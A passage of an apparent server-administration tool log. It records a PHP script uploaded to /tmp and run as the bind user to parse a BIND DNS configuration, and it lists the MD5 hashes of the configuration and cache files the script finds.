MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:27:40: Establishing a connection
2026-04-25 20:27:40: 

PUT: /tmp/pkp303049

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:27:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp303049; rm /tmp/pkp303049'

2026-04-25 20:27:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
